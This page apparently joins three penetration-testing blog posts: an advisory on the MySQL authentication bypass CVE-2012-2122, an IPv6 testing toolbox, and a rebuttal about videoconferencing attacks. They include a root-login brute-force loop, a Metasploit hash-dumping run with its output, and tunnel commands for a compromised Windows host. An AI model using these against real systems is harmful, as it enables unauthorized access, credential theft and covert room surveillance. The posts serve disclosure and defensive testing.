On Saturday afternoon Sergei Golubchik posted to the oss-sec mailing list about a recently patched security flaw (CVE-2012-2122) in the MySQL and MariaDB database servers. This flaw was rooted in an assumption that the memcmp() function would always return a value within the range -128 to 127 (signed character). On some platforms and with certain optimizations enabled, this routine can return values outside of this range, eventually causing the code that compares a hashed password to sometimes return true even when the wrong password is specified. Since the authentication protocol generates a different hash each time this comparison is done, there is a 1 in 256 chance that ANY password would be accepted for authentication.


In short, if you try to authenticate to a MySQL server affected by this flaw, there is a chance it will accept your password even if the wrong one was supplied. The following one-liner in bash will provide access to an affected MySQL server as the root user account, without actually knowing the password.


$ for i in `seq 1 1000`; do mysql -u root --password=bad -h 2>/dev/null; done





Although a wide range of MySQL and MariaDB versions use the vulnerable code, only some of these systems are exploitable. It boils down to whether the memcmp() routine returns values outside of the unsigned character range. According to Sergei, this is normally not the case, and the routine is normally compiled into the server as an inline function. The major exception is when GCC uses SSE optimization. Joshua Drake, a security researcher with Accuvant Labs, provided a sample application that can determine whether your system might be affected. On most systems, the results of this application match the MySQL package provided by the distribution, but the only way to be sure is to actually test it.


If you'd like to give this a try yourself, download Metasploit now for free.

So far, the following systems have been confirmed as vulnerable:

  • Ubuntu Linux 64-bit ( 10.04, 10.10, 11.04, 11.10, 12.04 ) ( via many including @michealc )
  • OpenSuSE 12.1 64-bit MySQL 5.5.23-log ( via @michealc )
  • Debian Unstable 64-bit 5.5.23-2 ( via @derickr )
  • Fedora ( via hexed  and confirmed by Red Hat )
  • Arch Linux (unspecified version)


Feedback so far indicates the following platforms are NOT vulnerable:

  • Official builds from MySQL and MariaDB (including Windows)
  • Red Hat Enterprise Linux 4, 5, and 6 (confirmed by Red Hat)
  • CentOS using official RHEL rpms
  • Ubuntu Linux 32-bit (10.04, 11.10, 12.04, likely all)
  • Debian Linux 6.0.3 64-bit (Version 14.14 Distrib 5.5.18)
  • Debian Linux lenny 32-bit 5.0.51a-24+lenny5 ( via @matthewbloch )
  • Debian Linux lenny 64-bit 5.0.51a-24+lenny5 ( via @matthewbloch )
  • Debian Linux lenny 64-bit 5.1.51-1-log ( via @matthewbloch )
  • Debian Linux squeeze 64-bit 5.1.49-3-log ( via @matthewbloch )
  • Debian Linux squeeze 32-bit 5.1.61-0+squeeze1 ( via @matthewbloch )
  • Debian Linux squeeze 64-bit 5.1.61-0+squeeze1 ( via @matthewbloch )
  • Gentoo 64-bit 5.1.62-r1 ( via @twit4c )
  • SuSE 9.3 i586 MySQL 4.1.10a ( via @twit4c )
  • OpenIndiana oi_151a4 5.1.37 ( via @TamberP )
  • FreeBSD 64-bit (many versions)



Most Linux vendors should have a patch out soon, if not already.


Caveats and Defense


The first rule of securing MySQL is to not expose to the network at large in the first place. Most Linux distributions bind the MySQL daemon to localhost, preventing remote access to the service. In cases where network access must be provided, MySQL also provides host-based access controls. There are few use cases where the MySQL daemon should be intentionally exposed to the wider network and without any form of host-based access control.

If you are responsible for a MySQL server that is currently exposed to the network unnecessarily, the easiest thing to do is to modify the my.cnf file in order to restrict access to the local system. Open my.cnf with the editor of your choice, find the section labeled [mysqld] and change (or add a new line to set) the "bind-address" parameter to "". Restart the MySQL service to apply this setting.

Real-world Version Information


Pulling from the resources of a personal side project, I was able to derive some statistics about the real-world impact of this vulnerability. This project managed to find and gather the initial handshake for approximately 1.74 million MySQL servers across the internet at large. This statistic only includes MySQL instances that were on hosts publicly exposed to the internet and not bound to localhost.


Host Access Control


Of the 1.74 million MySQL servers identified, slightly more than 50% did not enforce host-based access controls ( 879,046 vs 863,920 ). The data was gathered by scanning randomly generated IPs across the entire addressable IPv4 unicast range, excluding networks known to be "dark" or where the network administrators had opted out of the survey.


MySQL Version Numbers


If we break down the list of accessible servers by version, we can see that the 5.0.x version series accounts for over 356,000 of the entire set, followed by 285,000 running a 5.1.x version, and 134,436 running a 5.5.x version. Doing the same type of analysis on the build flavor highlights how easy it is to identify Ubuntu (43,900), Debian (6,408), and Windows (98,665) MySQL services from the banners alone. Knowing that most Ubuntu 64-bit builds are likely to be vulnerable, the real question is how many of those nearly 44,000 Ubuntu systems are running 64-bit editions of the operating system.

Making the Most of It


If you are approaching this issue from the perspective of a penetration tester, this will be one of the most useful MySQL tricks for some time to come. One feature of Metasploit you should be familiar with is the mysql_hashdump module. This module uses a known username and password to access the master user table of a MySQL server and dump it into a locally-stored "loot" file. This can be easily cracked using a tool like John the Ripper, providing clear-text passwords that may provide further access.


This evening Jonathan Cran (CTO of Pwnie Express and Metasploit contributor) committed a threaded brute-force module that abuses the authentication bypass flaw to automatically dump the password database. This ensures that even if the authentication bypass vulnerability is fixed, you should still be able to access the database using the cracked password hashes. A quick demonstration of this module is shown below using the latest Metasploit Framework GIT/SVN snapshot.

$ msfconsole

msf > use auxiliary/scanner/mysql/mysql_authbypass_hashdump

msf  auxiliary(mysql_authbypass_hashdump) > set USERNAME root

msf  auxiliary(mysql_authbypass_hashdump) > set RHOSTS

msf  auxiliary(mysql_authbypass_hashdump) > run


[+] The server allows logins, proceeding with bypass test

[*] Authentication bypass is 10% complete

[*] Authentication bypass is 20% complete

[*] Successfully bypassed authentication after 205 attempts

[+] Successful exploited the authentication bypass flaw, dumping hashes...

[+] Saving HashString as Loot: root:*C8998584D8AA12421F29BB41132A288CD6829A6D

[+] Saving HashString as Loot: root:*C8998584D8AA12421F29BB41132A288CD6829A6D

[+] Saving HashString as Loot: root:*C8998584D8AA12421F29BB41132A288CD6829A6D

[+] Saving HashString as Loot: root:*C8998584D8AA12421F29BB41132A288CD6829A6D

[+] Saving HashString as Loot: debian-sys-maint:*C59FFB311C358B4EFD4F0B82D9A03CBD77DC7C89

[*] Hash Table has been saved: 20120611013537_default_127.0.0.1_mysql.hashes_889573.txt

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed


This post details some of the tools used in my recent IPv6 security testing webcast If you have any specific questions, please open a Discussion thread.


A minimal IPv6 toolbox:


The BackTrack Linux distribution includes these tools by default and is a great choice.


On your local Linux distribution, the following tools are useful:

  • ping6
  • tracepath6
  • socat
  • ip6tables
  • tcpdump
  • wireshark


Scanning your local subnet for all IPv6-enabled systems in one shot:

# nmap -6 --script=targets-ipv6-multicast-*


Port scanning the top 10000 ports on these assets:

# nmap -6 --script=targets-ipv6-multicast-* --script-args=newtargets -PS --top-ports=10000


Targeting a link-local address from within Metasploit (assuming the NIC is eth0):

msf exploit > set RHOST fe80::7aac:c2ff:fe3d:e003%eth0

Targeting all IP addresses (IPv4 and IPv6) tied to a hostname via DNS with a Scanner module:

msf scanner> set RHOSTS


If you would like a global IPv6 address, these free services can tunnel over IPv4:


Bringing up a tunnel via Hurricane Electric's TunnelBroker service is simple:




ifconfig sit0 up

ifconfig sit0 inet6 tunnel ::<TunnelBrokerGateway>

ifconfig sit1 up

ifconfig sit1 inet6 add <TunnelBrokerPrefix>::2/64

route -A inet6 add ::/0 dev sit1


Bringing up a tunnel via TunnelBroker on a compromised Windows target:


Windows 2000/XP

ipv6 install

ipv6 rtu ::/0 2/::<TunnelBrokerGateway> pub

ipv6 adu 2/<TunnelBrokerPrefix>::2


Windows Vista/2008/7

netsh interface teredo set state disabled

netsh interface ipv6 add v6v4tunnel IP6Tunnel <TargetExternalIP> <TunnelBrokerGateway>

netsh interface ipv6 add address IP6Tunnel <TunnelBrokerPrefix>::2

netsh interface ipv6 add route ::/0 IP6Tunnel <TunnelBrokerPrefix>::1

For information on malicious Teredo configuration on Windows, please see this fine article.

Remember to configure a firewall (ip6tables or Windows FW) in either case



Open and frank debate is one of the great things about the security community and the recent press about our H.323 research has set off a firestorm in some circles. In one extensively written post, David Maldow of Human Productivity Lab downplays the risk to video conferencing systems and makes a few claims about the security of these systems that were hard to ignore. David's statements in "quotes" and our responses in bold:






"I've read good things about Rapid7 and always support efforts for security, but in fairness it should be noted that projecting an atmosphere of security risk in videoconferencing is clearly in their interest."



Unfortunately, everyone has a bias - if we did not care about proactive security testing, this research would have never occurred. Rapid7 takes an empirical approach to security research, focusing on understanding the true situation regarding how systems are actually deployed in real life. For this specific research, we spent a lot of time on quantifying the data from the research and speaking with industry experts in the video conferencing space (which we do not consider ourselves to be).  Rapid7 focuses on providing products, tools, and information about security risks that allow our customers and open source users to make informed decisions. Calling attention to an issue that has historically been ignored and providing the tools to test it is what we do.



We often find situations where large numbers of systems are deployed in surprisingly insecure ways, where everyone including us would have expected that "no one would do it this way". This mismatch between expectations and reality is a major source of real world security problems. For example, I never would have expected that a very widely deployed embedded operating system like VxWorks would ship with the debugger attached and open to connections by default – and any industry expert you'd ask would similarly say "no sane person would deploy it that way".  Similarly, much of David's comments are along the lines of "no one would do it that way". The facts, unfortunately, again prove otherwise.





Videoconferencing Hackers



"The article's title claims that the boardroom will be opened up to "Hackers." However, from the rest of the article it was clear that there was no real hacking involved. Videoconferencing signals use AES encryption. This isn't a new or rare development. AES has been standard on almost all major endpoints (at all price ranges) for a long time. The use of AES means that even if videoconferencing data signals are intercepted as they traverse the internet, the encryption would have to be hacked before anyone could watch the video or listen to the audio. No one is suggesting that this type of hacking is occurring. Rather than hacking into the boardrooms, Rapid7 was simply calling them. These systems apparently answered some of their calls, as they were designed to do."



Encryption rarely has anything to do with security and hacking doesn't need to be high-tech, only effective, to be worth defending against. The issue with auto-answer is one piece of a larger problem with video conferencing deployments, but it was the issue that the NYT article focused on, due to the ease of exploitation and the visible result. In our January 24th webcast, the scope was expanded to discuss pivoting through administrative interfaces, exploiting software vulnerabilities in LifeSize equipment, and demonstrating the lack of security controls in many video conferencing systems. Given Polycom's stance of enabling auto-answer by default and the supporting data from our scans, even the auto-answer issue was worth addressing on its own.



"Rapid7 did create a program to scan the internet for videoconferencing systems. From this they were able to get a list of IP addresses, which are like phone numbers for VC systems. However, they had no idea where these systems were located and who they belonged to. It was a phone book with no names, only numbers. Not a great tool for an effective targeted hacking attack"



The details of the tool were not abundantly clear in the NYT article (the length wouldn't allow for it), but the scanning module we used was developed in-house and actually initiates a H.323 call to each scanned system. This module is open source and you can find it online at GitHub. The protocol handshake returns a number of useful bits of data, including the Vendor ID, Version ID, Product ID, and DisplayName.


The DisplayName usually describes either the location or purpose of a specific endpoint. Approximately half of the results from the scan included the DisplayName element. I have changed some of the names to prevent obvious identification, but you can see that between the product information, the DisplayName, and the attributes of the IP address (DNS and Whois), identifying the owner of a particular endpoint is trivial.


         IP: AAA.BBB.CCC.DDD:1720 Protocol: 5

   VendorID: 0xb500a11a VersionID: ProductID: LifeSize Express

DisplayName: 36th Floor Board Room


      Whois: <CENSORED> ADVISORS-013223144143 ( IP range )


In this example, we identified the physical location, company name, ISP, and enough information about the product itself to know that the LifeSize exploit module included with the Metasploit products could be used to gain remote access to the system (Linux) shell.


If you look at just the DisplayNames, these are often more than enough to precisely identify the organization and location. These names include things like "Something Media", "BigCorp Moscow Polycom 2", and in some cases "<County> Courthouse". In the interest of not subjecting any specific entity to embarrassment or directed attacks, we have avoided publishing any detailed lists of results.



"With this list in hand, they started random dialing and peeked around some empty rooms. It should be noted that this list only included systems that were not deployed behind firewalls. "



To determine whether these systems were behind a firewall, we used the Nmap scanner to look for systems that had a large number of filtered ports. In most cases, these devices were deployed outside of the firewall, with the administrative interfaces exposed to the world. This may not be the recommended mode, but it is certainly prevalent in the wild. Even in cases where firewalls were in place, the H.323/1720 listener was still forwarded through and allowing for incoming calls. This is one of the problems with H.323 as a protocol - it is difficult to use through NAT, requires a large number of ports, and any PtP call requires the recipient to expose their system to the internet at large, using source IP ACLs or other product-specific tools to limit access.


By and large many organizations are ignoring the hassle and dumping the system online outside of the firewall or through a 1-to-1 NAT configuration. An industry expert pointed out one reason for so many endpoints configured to auto-answer from the internet - many MCUs are used in an outbound dial mode to start meetings and auto-answer is the most convenient way for the participates to join the call.



"Any environment with real security requirements will have their VC systems behind firewalls."



The most surprising thing about the research was how well-heeled and quite sensitive organizations were doing little to nothing to restrict access to their VC equipment. Anyone who spends the time locking down their VC systems can do an adequate job of protecting from the external attacks - it’s simply that many do not and that the overall awareness is not there today.




"Real hackers are scary. If someone does find a way to isolate VC traffic over the internet and hack encrypted VC signals from specific locations, I will be the first to raise the alarm. But I simply don't see a massive threat in the fact that it is possible to get lucky and randomly dial into an anonymous empty meeting room."



Real hackers are opportunists in every sense of the word. Encryption is not equivalent to authentication and often a silly software bug (such as the command execution flaw in the LifeSize web service) is all that’s needed to tear down any other defenses. The H.323 protocol provides enough information that an attacker can quickly map a network range associated with their target, identify any VC equipment, and leverage both weak default settings (auto-answer), default passwords, and software vulnerabilities to gain access to the audio/video stream, if not the internal network itself.





Flaws in Videoconferencing Systems



"In the next section I will explain why it is not easy to stealthily dial into a meeting room while in use."



Without debating each of David's points, we did prove that most VC equipment provided little or no warning when an attacker dialed into the system. In most cases, the television set is off unless a call is expected. If the television is off, there is little indication that a call is in progress. The reason for this is two-fold;



First - the base unit, not the camera, is usually what has an indicator that turns on when a call is in progress. The base units are often stashed behind a cabinet, near the floor, or generally out of sight.



Second - newer cameras (specifically, the Polycom HDX series) are extremely quiet while being panned or zoomed and the only indication they provide is the direction they are facing. We conducted a "blind" test where the conference room VC unit was accessed during a Rapid7 general staff meeting. Twenty minutes into the meeting, nobody had noticed the camera swinging from the rest position to pointing at a participant's laptop screen, zoomed in to capture his email and keystrokes.



"I think it is acceptable for low security rooms to have glass walls and video systems set to auto answer."



The expected security of a room depends on the company and the specific meeting being conducted within it. David mentioned that in some conference rooms, the walls were glass and there really was no visual protection of documents left on the table. However, it is very common that sensitive information (term sheets, passwords, personnel documents, etc.) are often being left out in the open.



A much more significant risk is the audio pickup - in many cases, the security of the VC system was literally a post-it note or other visual obstruction in front of the camera lens. This has no effect on the audio pickup. Testing similar equipment in our lab, we found that conversations could be clearly heard down the hall from where the VC unit was installed. David does make a point about a common configuration of  incoming calls starting off muted, but this is not always the case.



"If a meeting room requires security, you are as unlikely to find an unprotected videoconferencing system as you are to find an unprotected desktop computer."



Folks who spend a lot of time conducting security assessments can testify that unprotected desktops are not unheard of on external subnets. It’s a poor security policy, just like leaving a VC unit exposed to the internet, but it still happens and even large organizations that should know better make this mistake.  The issue with VC systems may be more dangerous as these systems are directly on the internet and by their nature in very sensitive locations.



"IT admins for sensitive environments are generally knowledgeable about firewalls and internet security. They are not likely to allow any IP devices to exist outside the firewall under their watch"



This is a really interesting point. IT admins often have little knowledge or experience with video conferencing unit security. An informal survey across enterprise customers using VC systems indicated that many of these were set to auto-answer, IT was not managing security patches, and often they were left exposed to the internet and sometimes with default passwords. All of these responses reinforced the results of the scan we performed.



"Rapid7 suggests a significant number of systems in otherwise secure environments are being deployed outside the firewall. This was disputed in the article by Ira M. Weinstein, senior analyst at Wainhouse Research, who stated that, "The companies that really have to worry about breaches -- the Department of Defense, banks -- put their systems behind the firewall." Mr. Weinstein's words carry some weight, considering his years covering this industry."



This was a point of debate. With all due respect to Mr. Weinstein's experience, he did not scan the internet and actually validate his assumptions. Even systems with some form of firewall in place were not provided much protection, since the devices were still configured to automatically accept incoming calls.



"Unlike a small company with one system in their one meeting room, Goldman Sachs likely is using a managed service provider to ensure that all of their systems are properly, and securely, provisioned."



We do not want to mention specific examples, but "Goldman Sachs" stood out because even though we didn't identify any of their systems in the internet survey, an organization they likely work with had access to a private link to their system. Since this organization exposed the administrative interface of their VC system and the system did not require any form of authentication to access it, the device could be used to bridge a call between an internet-facing attacker and a system on a private link such as the one labeled "Goldman Sachs". We have no proof that this system actually belonged to Goldman Sachs or that the call would have worked, but we did simulate the attack using like equipment in the lab.



Managed service providers are another area where this research took an unexpected turn. These providers typically use leased lines, VPNs, or other forms of private connectivity to bridge video services between sites. We found that many of the internet-exposed VC units also had access to the managed service provider network and internal resources. This was verified by looking at the unprotected web and telnet interfaces of units found with this configuration (again, we didn't guess passwords or attempt to bypass any existing security). Depending on how these service provider networks are configured, a single exposed customer could provide a foothold into the managed services network.



The same type of proxy attack works between IP and ISDN endpoints. An attacker accessing the administrative interface of an endpoint through the IP address can force the system to make an outbound call to an ISDN line. If the target of this proxy attack allows incoming calls from this device (often the case for systems frequently dialed in the system address book), the call will be accepted and the attacker now has snapshot access, if not much more, to the ISDN-connected target.



"The NYT seems to be simply unaware of the fact that the videoconferencing industry has had skin in the security game since its inception."



This comment refers to a statement about the lack of security built-in to video conferencing systems. I strongly disagree that security was a foremost concern for devices made between 3 and 7 years ago. The web and telnet service of the Polycom ViewStation systems from 2005 require no authentication to access. The vendors may have supported encryption since the beginning of IP video conferencing, but encryption only matters if you are protecting the data in transit, not protecting the endpoint itself from a directed attack.



Video conferencing equipment is actually pretty far behind the curve when it comes to network devices and resistance to attack. Even some consumer printers ship with a more secure administrative interface than what many vendors in the video-conferencing space provide today.



"In addition, the systems are often installed by experts with security as a priority. In a blog on this subject, IMCCA Director David Danto describes such an installation."



This varies widely by the organization, their awareness of security issues, and their choice of installer. As a generality, this doesn't appear to be true based on the results of our research. We do not disagree that a trained, security-conscious video conferencing expert can deliver a secure solution.




Semantics Aside - Is There A Security Risk?



"How easy is it to use a boardroom videoconferencing system to spy on a meeting? The answer is that it may be possible, but it wouldn't be very easy...Having spent countless hours testing videoconferencing systems and videonetwork infrastructure, with up to 18 videoconferencing systems set to auto answer at one time, I can assure you that it is not a silent process."



During the course of our in-house testing, using Polycom's ViewStation and HDX units, as well as an old D-Link, the results were mixed. However, we found that many of the high-end systems did not provide any easily visible notification that a call had been answered. The D-Link, however, got so annoying that we actually disassembled it and yanked the speaker out to continue the testing process.



"In addition, videoconferencing systems tend to be connected to rather large monitors. When called, the monitors will often "wake up" and display the system's logo if there is no incoming video."



Many organizations simply turn off the monitors/televisions when the device is not in use. The swing, as mentioned in a previous paragraph, is quiet with newer equipment and fairly hard to notice, especially in a busy meeting. Keep in mind that an attacker can take use a previously-acquired screenshot or a blank screen as their video source for what is displayed on the monitor.



"Videoconferencing systems weren't made with stealthy activation as a goal. They are communications devices, and they were very specifically designed to do a good job of alerting users to incoming calls."



Systems that expose the administrative interface provided two options for bypassing an incoming call alert. The first was simply to turn off the ringer to prevent any audible result from the unit itself. The second involved initiating an outbound call from the unit back to the attacker, which in some cases avoided the standard notifications. Either way, if the system is configured to make a lot of noise and the administrative interface is protected, an incoming call is going to be noticeable most of the time.



"(12 IFs truncated for brevity)... With that many "ifs" I think this may not be the top security concern for today's videoconferencing users. At this point VC spying is starting to look like Mission Impossible."



Regardless, it works, and if the VC monitor is not turned on (common, as stated above), there is usually little indicating that a call is active. We did try to replicate scenarios seen "in the wild" within our lab before making any claim and determine what the configuration must have been for the result to match. Keep in mind that most of the high-end room cameras can be controlled remotely and often you can point the camera back at the monitor to determine if it is indeed on.



"But, if you are leaving sensitive documents lying around meeting rooms, then videoconferencing is the least of your security concerns."

This generalizes physical security to a degree that is not realistic. For firms that are fairly small and manage sensitive or valuable information, it is fairly common for documents to be left in plain view within the office. Examples include law firms, small investment banking shops, and medical offices. On the other extreme, where large organizations have extremely rigid physical security, documents left sitting around a secured area may be considered safe. It would be unfair to classify either practice as insecure if it wasn't for the video conferencing unit being within zoom distance.




Securing Your Video Environment


David goes on to mention some basic security tips for video conferencing equipment. To this list, we would like to add keeping up to date on vendor patches, especially those that are security related, and requiring passcodes for access to both meeting rooms and endpoints. Polycom has a hardening guide that goes into more detail.



There is one conclusion that we still adamantly disagree with:



"Auto Answer - I have no problem with leaving auto answer enabled. However, most systems have an option to answer with audio muted. This is how I set up my systems. If I do get an unexpected call in the middle of a private conversation, the caller will not hear anything. If the NYT article made your co-workers nervous you can just turn off auto answer until everyone relaxes, but auto answer with audio muted is a perfectly acceptable secure setting."



David suggests that even with all of the known risks - that auto-answer should continue to be the standard. Fortunately, nearly every mainstream vendor with the exception of Polycom sees this differently. We still strongly recommended disabling auto-answer - the extra two seconds it takes to press the answer button on the remote provides the second-most important security measure available (the first being adequate protection of the administrative interface, which can be used to turn auto-answer back on).






"Even if a system is deployed outside of a firewall, it still isn't at serious risk of being hacked. It is at risk of accepting calls (which is what it was designed to do). A few common sense precautions can eliminate the risk of your system being in a call without you knowing about it."



This statement is absolutely untrue and may put users who follow this advice at risk. The H.323 video stream is only one service exposed by video conferencing systems, other services, such as telnet, web, ftp, snmp, and so on all expose the device to intrusion, using both weak credentials or exploits written specifically for that device. There is no justifiable reason to place a video conferencing system outside of firewall if at all possible and auto-answer should continue to be disabled, to prevent unexpected access to video or audio information.



"If the technology is secure enough for the Pentagon, it is secure enough for your boardroom."



The Pentagon follows vendor-specific hardening procedures to make systems far more secure, and almost undoubtedly does not deploy outside the firewall. Many videoconferencing systems vendors also sell Federal-specific versions with both hardware and software modifications that enhance security. This statement is about the same as saying "the pentagon uses computers, so if they're safe enough for them they're safe enough for you".



Software vulnerabilities are rampant (Metasploit alone exploits close to 750 of them, while Nexpose has close to 60,000 checks for known defects). Hardware appliances and network devices are even more problematic, as they tend to be difficult to update and run on proprietary software interfaces, often riddled with low-hanging security flaws. Who uses a piece of equipment is never a good test for how secure it is. Some of the most insecure equipment is still FIPS-140 certified.







We would like to thank David for summarizing his concerns with how the NYT article position videoconferencing security. At the end of the day, we stick by our position that videoconferencing systems are often deployed in an insecure manner and that the risk of unauthorized access is not something that many IT administrators or company executives are aware of today. We view the issue from the lens of vulnerability management, which is quite a different from that of an industry expert. Please leave a comment or open a discussion if you have any questions or would like further elaboration on a particular area.

Filter Blog

By date: By tag: